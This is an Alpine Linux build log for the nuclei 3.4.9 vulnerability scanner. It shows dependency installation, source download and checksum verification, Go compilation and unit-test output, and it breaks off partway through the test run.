>>> nuclei: Building testing/nuclei 3.4.9-r0 (using abuild 3.15.0-r3) started Fri, 22 Aug 2025 17:46:40 +0000 >>> nuclei: Validating /home/buildozer/aports/testing/nuclei/APKBUILD... >>> nuclei: Analyzing dependencies... >>> nuclei: Installing for build: build-base go chromium ( 1/162) Installing go (1.25.0-r0) ( 2/162) Installing libxau (1.0.12-r0) ( 3/162) Installing libmd (1.1.0-r0) ( 4/162) Installing libbsd (0.12.2-r0) ( 5/162) Installing libxdmcp (1.1.5-r1) ( 6/162) Installing libxcb (1.17.0-r0) ( 7/162) Installing libx11 (1.8.12-r0) ( 8/162) Installing libxext (1.3.6-r2) ( 9/162) Installing hwdata-pci (0.398-r0) ( 10/162) Installing libpciaccess (0.18.1-r1) ( 11/162) Installing libdrm (2.4.125-r0) ( 12/162) Installing chromium-angle (139.0.7258.127-r0) ( 13/162) Installing chromium-common (139.0.7258.127-r0) ( 14/162) Installing libbz2 (1.0.8-r6) ( 15/162) Installing libpng (1.6.49-r0) ( 16/162) Installing freetype (2.13.3-r0) ( 17/162) Installing fontconfig (2.17.1-r0) ( 18/162) Installing libfontenc (1.1.8-r0) ( 19/162) Installing mkfontscale (1.2.3-r1) ( 20/162) Installing font-opensans (0_git20210927-r1) ( 21/162) Installing libffi (3.5.2-r0) ( 22/162) Installing libintl (0.24.1-r1) ( 23/162) Installing libeconf (0.7.10-r0) ( 24/162) Installing libblkid (2.41.1-r1) ( 25/162) Installing libmount (2.41.1-r1) ( 26/162) Installing glib (2.84.4-r0) ( 27/162) Installing gobject-introspection (1.84.0-r1) ( 28/162) Installing hicolor-icon-theme (0.18-r0) ( 29/162) Installing xz-libs (5.8.1-r0) ( 30/162) Installing libxml2 (2.13.8-r0) ( 31/162) Installing shared-mime-info (2.4-r6) ( 32/162) Installing libjpeg-turbo (3.1.1-r0) ( 33/162) Installing libsharpyuv (1.6.0-r0) ( 34/162) Installing libwebp (1.6.0-r0) ( 35/162) Installing tiff (4.7.0-r2) ( 36/162) Installing gdk-pixbuf (2.42.12-r2) ( 37/162) Installing gtk-update-icon-cache (3.24.50-r0) ( 38/162) Installing libxcomposite (0.4.6-r5) ( 39/162) Installing libxfixes (6.0.1-r4) ( 40/162) Installing libxrender (0.9.12-r0) ( 41/162) Installing libxcursor (1.2.3-r0) ( 42/162) Installing libxdamage (1.1.6-r5) ( 43/162) Installing libxi (1.8.2-r0) ( 44/162) Installing libxinerama (1.1.5-r4) ( 45/162) Installing libxrandr (1.5.4-r1) ( 46/162) Installing libatk-1.0 (2.56.4-r1) ( 47/162) Installing dbus-libs (1.16.2-r1) ( 48/162) Installing at-spi2-core-libs (2.56.4-r1) ( 49/162) Installing libxtst (1.2.5-r0) ( 50/162) Installing at-spi2-core (2.56.4-r1) ( 51/162) Installing libatk-bridge-2.0 (2.56.4-r1) ( 52/162) Installing pixman (0.46.4-r0) ( 53/162) Installing cairo (1.18.4-r0) ( 54/162) Installing cairo-gobject (1.18.4-r0) ( 55/162) Installing avahi-libs (0.8-r22) ( 56/162) Installing nettle (3.10.2-r0) ( 57/162) Installing libtasn1 (4.20.0-r0) ( 58/162) Installing p11-kit (0.25.5-r2) ( 59/162) Installing gnutls (3.8.8-r0) ( 60/162) Installing cups-libs (2.4.12-r0) ( 61/162) Installing libepoxy (1.5.10-r1) ( 62/162) Installing fribidi (1.0.16-r1) ( 63/162) Installing graphite2 (1.3.14-r6) ( 64/162) Installing harfbuzz (11.3.2-r0) ( 65/162) Installing libxft (2.3.9-r0) ( 66/162) Installing pango (1.56.4-r0) ( 67/162) Installing wayland-libs-client (1.24.0-r0) ( 68/162) Installing wayland-libs-cursor (1.24.0-r0) ( 69/162) Installing wayland-libs-egl (1.24.0-r0) ( 70/162) Installing xkeyboard-config (2.45-r0) ( 71/162) Installing libxkbcommon (1.11.0-r0) ( 72/162) Installing gtk+3.0 (3.24.50-r0) ( 73/162) Installing icu-data-full (76.1-r1) ( 74/162) Installing llvm20-libs (20.1.8-r0) ( 75/162) Installing spirv-tools (1.4.321.0-r0) ( 76/162) Installing libelf (0.193-r0) ( 77/162) Installing libxshmfence (1.3.3-r0) ( 78/162) Installing mesa (25.2.1-r0) ( 79/162) Installing mesa-gbm (25.2.1-r0) ( 80/162) Installing mesa-dri-gallium (25.2.1-r0) ( 81/162) Installing eudev-libs (3.2.14-r5) ( 82/162) Installing xprop (1.2.8-r0) ( 83/162) Installing libice (1.1.2-r0) ( 84/162) Installing libuuid (2.41.1-r1) ( 85/162) Installing libsm (1.2.6-r0) ( 86/162) Installing libxt (1.3.1-r0) ( 87/162) Installing libxmu (1.2.1-r0) ( 88/162) Installing xset (1.2.5-r1) ( 89/162) Installing xdg-utils (1.2.1-r1) ( 90/162) Installing libogg (1.3.6-r0) ( 91/162) Installing libflac (1.4.3-r2) ( 92/162) Installing alsa-lib (1.2.14-r1) ( 93/162) Installing libSvtAv1Enc (2.3.0-r0) ( 94/162) Installing aom-libs (3.12.1-r0) ( 95/162) Installing libva (2.22.0-r1) ( 96/162) Installing libvdpau (1.5-r4) ( 97/162) Installing onevpl-libs (2023.3.1-r2) ( 98/162) Installing ffmpeg-libavutil (6.1.2-r5) ( 99/162) Installing libdav1d (1.5.1-r0) (100/162) Installing libhwy (1.0.7-r1) (101/162) Installing lcms2 (2.16-r0) (102/162) Installing libjxl (0.11.1-r0) (103/162) Installing lame-libs (3.100-r5) (104/162) Installing opus (1.5.2-r1) (105/162) Installing rav1e-libs (0.8.1-r0) (106/162) Installing soxr (0.1.3-r7) (107/162) Installing ffmpeg-libswresample (6.1.2-r5) (108/162) Installing libtheora (1.1.1-r18) (109/162) Installing libvorbis (1.3.7-r2) (110/162) Installing libvpx (1.15.1-r1) (111/162) Installing libwebpmux (1.6.0-r0) (112/162) Installing x264-libs (0.164.3108-r0) (113/162) Installing numactl (2.0.18-r0) (114/162) Installing x265-libs (3.6-r0) (115/162) Installing xvidcore (1.3.7-r2) (116/162) Installing ffmpeg-libavcodec (6.1.2-r5) (117/162) Installing libbluray (1.3.4-r1) (118/162) Installing mpg123-libs (1.33.1-r0) (119/162) Installing libopenmpt (0.8.2-r0) (120/162) Installing mbedtls (3.6.4-r0) (121/162) Installing librist (0.2.10-r1) (122/162) Installing libsrt (1.5.3-r1) (123/162) Installing libssh (0.11.2-r0) (124/162) Installing libsodium (1.0.20-r0) (125/162) Installing libzmq (4.3.5-r2) (126/162) Installing ffmpeg-libavformat (6.1.2-r5) (127/162) Installing crc32c (1.1.2-r2) (128/162) Installing double-conversion (3.3.1-r0) (129/162) Installing harfbuzz-subset (11.3.2-r0) (130/162) Installing minizip (1.3.1-r0) (131/162) Installing nspr (4.36-r0) (132/162) Installing sqlite-libs (3.50.4-r1) (133/162) Installing nss (3.115-r0) (134/162) Installing openh264 (2.6.0-r0) (135/162) Installing libcamera-ipa (0.5.2-r0) (136/162) Installing libunwind (1.8.1-r0) (137/162) Installing yaml (0.2.5-r2) (138/162) Installing libcamera (0.5.2-r0) (139/162) Installing serd-libs (0.32.4-r0) (140/162) Installing zix-libs (0.6.2-r0) (141/162) Installing sord-libs (0.16.18-r0) (142/162) Installing sratom (0.6.18-r0) (143/162) Installing lilv-libs (0.24.26-r0) (144/162) Installing speexdsp (1.2.1-r2) (145/162) Installing libuv (1.51.0-r0) (146/162) Installing roc-toolkit-libs (0.4.0-r1) (147/162) Installing libsndfile (1.2.2-r2) (148/162) Installing abseil-cpp-raw-logging-internal (20240722.1-r2) (149/162) Installing abseil-cpp-strings-internal (20240722.1-r2) (150/162) Installing abseil-cpp-strings (20240722.1-r2) (151/162) Installing webrtc-audio-processing-2 (2.1-r0) (152/162) Installing pipewire-libs (1.4.7-r0) (153/162) Installing libasyncns (0.8-r4) (154/162) Installing libltdl (2.5.4-r1) (155/162) Installing orc (0.4.41-r0) (156/162) Installing tdb-libs (1.4.13-r0) (157/162) Installing libpulse (17.0-r5) (158/162) Installing simdutf (7.3.6-r0) (159/162) Installing libwebpdemux (1.6.0-r0) (160/162) Installing libxslt (1.1.43-r3) (161/162) Installing chromium (139.0.7258.127-r0) (162/162) Installing .makedepends-nuclei (20250822.174641) busybox-1.37.0-r22.trigger: Executing script... fontconfig-2.17.1-r0.trigger: Executing script... mkfontscale-1.2.3-r1.trigger: Executing script... glib-2.84.4-r0.trigger: Executing script... shared-mime-info-2.4-r6.trigger: Executing script... gdk-pixbuf-2.42.12-r2.trigger: Executing script... gtk-update-icon-cache-3.24.50-r0.trigger: Executing script... gtk+3.0-3.24.50-r0.trigger: Executing script... OK: 1238 MiB in 268 packages >>> nuclei: Cleaning up srcdir >>> nuclei: Cleaning up pkgdir >>> nuclei: Cleaning up tmpdir >>> nuclei: Fetching https://distfiles.alpinelinux.org/distfiles/edge/nuclei-3.4.9.tar.gz Connecting to distfiles.alpinelinux.org (172.105.82.32:443) wget: server returned error: HTTP/1.1 404 Not Found >>> nuclei: Fetching nuclei-3.4.9.tar.gz::https://github.com/projectdiscovery/nuclei/archive/refs/tags/v3.4.9.tar.gz Connecting to github.com (140.82.121.4:443) Connecting to codeload.github.com (140.82.121.10:443) saving to '/var/cache/distfiles/edge/nuclei-3.4.9.tar.gz.part' nuclei-3.4.9.tar.gz. 100% |********************************| 11.3M 0:00:00 ETA '/var/cache/distfiles/edge/nuclei-3.4.9.tar.gz.part' saved >>> nuclei: Fetching https://distfiles.alpinelinux.org/distfiles/edge/nuclei-3.4.9.tar.gz >>> nuclei: Checking sha512sums... nuclei-3.4.9.tar.gz: OK >>> nuclei: Unpacking /var/cache/distfiles/edge/nuclei-3.4.9.tar.gz... rm -f './bin/nuclei' 2>/dev/null CGO_ENABLED=0 go build -trimpath -v -pgo=auto -ldflags '-s -w -extldflags "-static"' \ -o './bin/nuclei' cmd/nuclei/main.go github.com/projectdiscovery/nuclei/v3/pkg/catalog/config github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache github.com/projectdiscovery/nuclei/v3/pkg/utils github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk github.com/projectdiscovery/nuclei/v3/pkg/templates/signer github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice github.com/projectdiscovery/nuclei/v3/pkg/types github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow/builtin github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httputils github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http github.com/projectdiscovery/nuclei/v3/pkg/installer github.com/projectdiscovery/nuclei/v3/pkg/operators github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter github.com/projectdiscovery/nuclei/v3/pkg/output github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo github.com/projectdiscovery/nuclei/v3/internal/pdcp github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters github.com/projectdiscovery/nuclei/v3/pkg/reporting/format github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils github.com/projectdiscovery/nuclei/v3/pkg/scan github.com/projectdiscovery/nuclei/v3/pkg/js/libs/fs github.com/projectdiscovery/nuclei/v3/pkg/js/libs/net github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mssql github.com/projectdiscovery/nuclei/v3/pkg/js/libs/oracle github.com/projectdiscovery/nuclei/v3/pkg/js/libs/pop3 github.com/projectdiscovery/nuclei/v3/pkg/js/libs/redis github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rsync github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ssh github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ldap github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smtp github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk github.com/projectdiscovery/nuclei/v3/pkg/js/libs/vnc github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smb github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool github.com/projectdiscovery/nuclei/v3/pkg/js/libs/kerberos github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rdp github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mysql github.com/projectdiscovery/nuclei/v3/pkg/js/global github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea github.com/projectdiscovery/nuclei/v3/pkg/js/libs/postgres github.com/projectdiscovery/nuclei/v3/pkg/reporting github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer github.com/projectdiscovery/nuclei/v3/pkg/js/compiler github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh github.com/projectdiscovery/nuclei/v3/internal/httpapi github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine github.com/projectdiscovery/nuclei/v3/pkg/protocols github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic github.com/projectdiscovery/nuclei/v3/pkg/workflows github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow github.com/projectdiscovery/nuclei/v3/pkg/fuzz github.com/projectdiscovery/nuclei/v3/pkg/protocols/code github.com/projectdiscovery/nuclei/v3/pkg/protocols/javascript github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois github.com/projectdiscovery/nuclei/v3/pkg/protocols/file github.com/projectdiscovery/nuclei/v3/pkg/protocols/ssl github.com/projectdiscovery/nuclei/v3/pkg/protocols/websocket github.com/projectdiscovery/nuclei/v3/pkg/protocols/offlinehttp github.com/projectdiscovery/nuclei/v3/pkg/protocols/network github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/time github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit github.com/projectdiscovery/nuclei/v3/pkg/testutils github.com/projectdiscovery/nuclei/v3/pkg/protocols/http github.com/projectdiscovery/nuclei/v3/pkg/tmplexec github.com/projectdiscovery/nuclei/v3/pkg/templates github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow github.com/projectdiscovery/nuclei/v3/pkg/input/provider/list github.com/projectdiscovery/nuclei/v3/pkg/input/provider github.com/projectdiscovery/nuclei/v3/pkg/core github.com/projectdiscovery/nuclei/v3/internal/server github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan github.com/projectdiscovery/nuclei/v3/internal/runner command-line-arguments go test -race -v ./... ? github.com/projectdiscovery/nuclei/v3/cmd/docgen [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/functional-test [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/generate-checksum [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/integration-test [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/memogen [no test files] testing: warning: no tests to run PASS ok github.com/projectdiscovery/nuclei/v3/cmd/nuclei 1.399s [no tests to run] ? github.com/projectdiscovery/nuclei/v3/cmd/scan-charts [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tmc [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tools/fuzzplayground [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tools/signer [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/advanced [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/simple [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/with_speed_control [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/colorizer [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/httpapi [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/pdcp [no test files] === RUN TestParseHeadlessOptionalArguments === RUN TestParseHeadlessOptionalArguments/single_value === RUN TestParseHeadlessOptionalArguments/empty_string === RUN TestParseHeadlessOptionalArguments/empty_key === RUN TestParseHeadlessOptionalArguments/empty_value === RUN TestParseHeadlessOptionalArguments/double_input === RUN TestParseHeadlessOptionalArguments/duplicated_input --- PASS: TestParseHeadlessOptionalArguments (0.00s) --- PASS: TestParseHeadlessOptionalArguments/single_value (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_string (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_key (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_value (0.00s) --- PASS: TestParseHeadlessOptionalArguments/double_input (0.00s) --- PASS: TestParseHeadlessOptionalArguments/duplicated_input (0.00s) === RUN TestCreateReportingOptions --- PASS: TestCreateReportingOptions (0.01s) === RUN TestWalkReflectStructAssignsEnvVars --- PASS: TestWalkReflectStructAssignsEnvVars (0.00s) === RUN TestWalkReflectStructHandlesDifferentTypes --- PASS: TestWalkReflectStructHandlesDifferentTypes (0.00s) === RUN TestWalkReflectStructEmpty --- PASS: TestWalkReflectStructEmpty (0.00s) === RUN TestWalkReflectStructWithNoYamlTag --- PASS: TestWalkReflectStructWithNoYamlTag (0.00s) === RUN TestWalkReflectStructHandlesNestedStructs --- PASS: TestWalkReflectStructHandlesNestedStructs (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/internal/runner 1.435s ? github.com/projectdiscovery/nuclei/v3/internal/server [no test files] === RUN TestManagerValidate === RUN TestManagerValidate/url --- PASS: TestManagerValidate (0.00s) --- PASS: TestManagerValidate/url (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/internal/server/scope 1.035s === RUN TestContextCancelNucleiEngine 2025/08/22 17:48:22 Test: context cancelled [0:00:00] | Templates: 257 | Hosts: 1 | RPS: 0 | Matched: 0 | Errors: 0 | Requests: 0/384 (0%) --- PASS: TestContextCancelNucleiEngine (11.11s) PASS ok github.com/projectdiscovery/nuclei/v3/lib 12.580s === RUN TestSimpleNuclei [caa-fingerprint] scanme.sh [nameserver-fingerprint] scanme.sh {"duration":"0:00:01","errors":"1","hosts":"1","matched":"2","percent":"100","requests":"16","rps":"14","startedAt":"2025-08-22T17:48:29.796136146Z","templates":"24","total":"16"} --- PASS: TestSimpleNuclei (13.62s) === RUN TestSimpleNucleiRemote [nameserver-fingerprint] scanme.sh --- PASS: TestSimpleNucleiRemote (3.61s) === RUN TestThreadSafeNuclei === RUN TestThreadSafeNuclei/scanme.sh [nameserver-fingerprint] scanme.sh [caa-fingerprint] scanme.sh === RUN TestThreadSafeNuclei/honey.scanme.sh [caa-fingerprint] honey.scanme.sh --- PASS: TestThreadSafeNuclei (12.38s) --- PASS: TestThreadSafeNuclei/scanme.sh (8.90s) --- PASS: TestThreadSafeNuclei/honey.scanme.sh (0.36s) === RUN TestWithVarsNuclei [INF] [api-1forge] Dumped HTTP request for https://api.1forge.com/quota?api_key=foobar GET /quota?api_key=foobar HTTP/1.1 Host: api.1forge.com User-Agent: Mozilla/5.0 (SS; Linux i686; rv:133.0) Gecko/20100101 Firefox/133.0 Connection: close Accept: */* Accept-Language: en Accept-Encoding: gzip --- PASS: TestWithVarsNuclei (3.61s) PASS ok github.com/projectdiscovery/nuclei/v3/lib/tests 34.741s ? github.com/projectdiscovery/nuclei/v3/pkg/authprovider [no test files] === RUN TestDynamicUnmarshalJSON === RUN TestDynamicUnmarshalJSON/basic-unmarshal === RUN TestDynamicUnmarshalJSON/complex-unmarshal === RUN TestDynamicUnmarshalJSON/invalid-json === RUN TestDynamicUnmarshalJSON/empty-json --- PASS: TestDynamicUnmarshalJSON (0.39s) --- PASS: TestDynamicUnmarshalJSON/basic-unmarshal (0.37s) --- PASS: TestDynamicUnmarshalJSON/complex-unmarshal (0.02s) --- PASS: TestDynamicUnmarshalJSON/invalid-json (0.00s) --- PASS: TestDynamicUnmarshalJSON/empty-json (0.00s) === RUN TestSecretsUnmarshal --- PASS: TestSecretsUnmarshal (0.07s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx 1.707s ? github.com/projectdiscovery/nuclei/v3/pkg/catalog [no test files] === RUN TestCatalog_GetTemplatePath === RUN TestCatalog_GetTemplatePath/get_all_ssl_files === RUN TestCatalog_GetTemplatePath/get_all_ssl_files_with_wildcard === RUN TestCatalog_GetTemplatePath/non-matching_target --- PASS: TestCatalog_GetTemplatePath (0.00s) --- PASS: TestCatalog_GetTemplatePath/get_all_ssl_files (0.00s) --- PASS: TestCatalog_GetTemplatePath/get_all_ssl_files_with_wildcard (0.00s) --- PASS: TestCatalog_GetTemplatePath/non-matching_target (0.00s) === RUN TestCatalog_GetTemplatesPath === RUN TestCatalog_GetTemplatesPath/without_definitions === RUN TestCatalog_GetTemplatesPath/with_definitions --- PASS: TestCatalog_GetTemplatesPath (0.00s) --- PASS: TestCatalog_GetTemplatesPath/without_definitions (0.00s) --- PASS: TestCatalog_GetTemplatesPath/with_definitions (0.00s) === RUN TestCatalog_OpenFile === RUN TestCatalog_OpenFile/valid_key === RUN TestCatalog_OpenFile/nonexistent_key === RUN TestCatalog_OpenFile/path_to_folder --- PASS: TestCatalog_OpenFile (0.00s) --- PASS: TestCatalog_OpenFile/valid_key (0.00s) --- PASS: TestCatalog_OpenFile/nonexistent_key (0.00s) --- PASS: TestCatalog_OpenFile/path_to_folder (0.00s) === RUN TestCatalog_ResolvePath === RUN TestCatalog_ResolvePath/absolute_path === RUN TestCatalog_ResolvePath/relative_path_with_second_param === RUN TestCatalog_ResolvePath/relative_path_and_no_second_param --- PASS: TestCatalog_ResolvePath (0.00s) --- PASS: TestCatalog_ResolvePath/absolute_path (0.00s) --- PASS: TestCatalog_ResolvePath/relative_path_with_second_param (0.00s) --- PASS: TestCatalog_ResolvePath/relative_path_and_no_second_param (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/catalog/aws 1.020s ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/config [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk [no test files] === RUN TestLoadTemplates === RUN TestLoadTemplates/blank === RUN TestLoadTemplates/only-tags === RUN TestLoadTemplates/tags-with-path --- PASS: TestLoadTemplates (0.00s) --- PASS: TestLoadTemplates/blank (0.00s) --- PASS: TestLoadTemplates/only-tags (0.00s) --- PASS: TestLoadTemplates/tags-with-path (0.00s) === RUN TestRemoteTemplates === RUN TestRemoteTemplates/remote-templates-positive === RUN TestRemoteTemplates/remote-templates-negative --- PASS: TestRemoteTemplates (0.00s) --- PASS: TestRemoteTemplates/remote-templates-positive (0.00s) --- PASS: TestRemoteTemplates/remote-templates-negative (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader 1.398s ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader/filter [no test files] === RUN TestWorkflowsSimple --- PASS: TestWorkflowsSimple (0.00s) === RUN TestWorkflowsSimpleMultiple --- PASS: TestWorkflowsSimpleMultiple (0.00s) === RUN TestWorkflowsSubtemplates --- PASS: TestWorkflowsSubtemplates (0.00s) === RUN TestWorkflowsSubtemplatesNoMatch --- PASS: TestWorkflowsSubtemplatesNoMatch (0.00s) === RUN TestWorkflowsSubtemplatesWithMatcher --- PASS: TestWorkflowsSubtemplatesWithMatcher (0.00s) === RUN TestWorkflowsSubtemplatesWithMatcherNoMatch --- PASS: TestWorkflowsSubtemplatesWithMatcherNoMatch (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/core 1.397s === RUN TestDownloadCustomTemplatesFromGitHub --- PASS: TestDownloadCustomTemplatesFromGitHub (0.72s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates 2.108s === RUN TestRuleMatchKeyOrValue === RUN TestRuleMatchKeyOrValue/key === RUN TestRuleMatchKeyOrValue/value --- PASS: TestRuleMatchKeyOrValue (0.00s) --- PASS: TestRuleMatchKeyOrValue/key (0.00s) --- PASS: TestRuleMatchKeyOrValue/value (0.00s) === RUN TestEvaluateVariables === RUN TestEvaluateVariables/keys === RUN TestEvaluateVariables/keys-regex === RUN TestEvaluateVariables/values-regex === RUN TestEvaluateVariables/complex-variables === RUN TestEvaluateVariables/invalid-variables === RUN TestEvaluateVariables/evaluateVars-function --- PASS: TestEvaluateVariables (0.00s) --- PASS: TestEvaluateVariables/keys (0.00s) --- PASS: TestEvaluateVariables/keys-regex (0.00s) --- PASS: TestEvaluateVariables/values-regex (0.00s) --- PASS: TestEvaluateVariables/complex-variables (0.00s) --- PASS: TestEvaluateVariables/invalid-variables (0.00s) --- PASS: TestEvaluateVariables/evaluateVars-function (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz 1.421s ? github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers [no test files] === RUN TestPerfectLinear --- PASS: TestPerfectLinear (0.06s) === RUN TestNoCorrelation --- PASS: TestNoCorrelation (0.01s) === RUN TestNoisyLinear --- PASS: TestNoisyLinear (0.11s) === RUN TestMinimalData --- PASS: TestMinimalData (0.02s) === RUN TestPerfectLinearSlopeOne_NoNoise --- PASS: TestPerfectLinearSlopeOne_NoNoise (0.11s) === RUN TestPerfectLinearSlopeTwo_NoNoise --- PASS: TestPerfectLinearSlopeTwo_NoNoise (0.10s) === RUN TestLinearWithNoise --- PASS: TestLinearWithNoise (0.13s) === RUN TestNoCorrelationHighBaseline --- PASS: TestNoCorrelationHighBaseline (0.01s) === RUN TestNegativeSlopeScenario --- PASS: TestNegativeSlopeScenario (0.01s) === RUN TestLargeNumberOfRequests --- PASS: TestLargeNumberOfRequests (0.21s) === RUN TestHighBaselineLowSlope --- PASS: TestHighBaselineLowSlope (0.10s) === RUN TestHighNoiseConcealsSlope --- PASS: TestHighNoiseConcealsSlope (0.01s) === RUN TestAlternatingSequences --- PASS: TestAlternatingSequences (0.00s) === RUN TestNonInjectableQuickFail --- PASS: TestNonInjectableQuickFail (0.00s) === RUN TestSlowNonInjectableCase --- PASS: TestSlowNonInjectableCase (0.00s) === RUN TestRealWorldNonInjectableCase --- PASS: TestRealWorldNonInjectableCase (0.00s) === RUN TestSmallErrorDependence --- PASS: TestSmallErrorDependence (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/time 2.608s === RUN TestBodyComponent --- PASS: TestBodyComponent (0.00s) === RUN TestBodyXMLComponent --- PASS: TestBodyXMLComponent (0.00s) === RUN TestBodyFormComponent --- PASS: TestBodyFormComponent (0.00s) === RUN TestMultiPartFormComponent --- PASS: TestMultiPartFormComponent (0.00s) === RUN TestCookieComponent --- PASS: TestCookieComponent (0.00s) === RUN TestHeaderComponent --- PASS: TestHeaderComponent (0.00s) === RUN TestURLComponent --- PASS: TestURLComponent (0.00s) === RUN TestURLComponent_NestedPaths --- PASS: TestURLComponent_NestedPaths (0.00s) === RUN TestQueryComponent --- PASS: TestQueryComponent (0.00s) === RUN TestFlatMap_FlattenUnflatten --- PASS: TestFlatMap_FlattenUnflatten (0.00s) === RUN TestAnySlice --- PASS: TestAnySlice (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component 1.112s === RUN TestDataformatDecodeEncode_JSON --- PASS: TestDataformatDecodeEncode_JSON (0.00s) === RUN TestDataformatDecodeEncode_XML --- PASS: TestDataformatDecodeEncode_XML (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat 1.060s ? github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency [no test files] === RUN Test_NewStatsDatabase --- PASS: Test_NewStatsDatabase (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats 1.027s === RUN TestConvertInputToType --- PASS: TestConvertInputToType (0.80s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input 2.247s ? 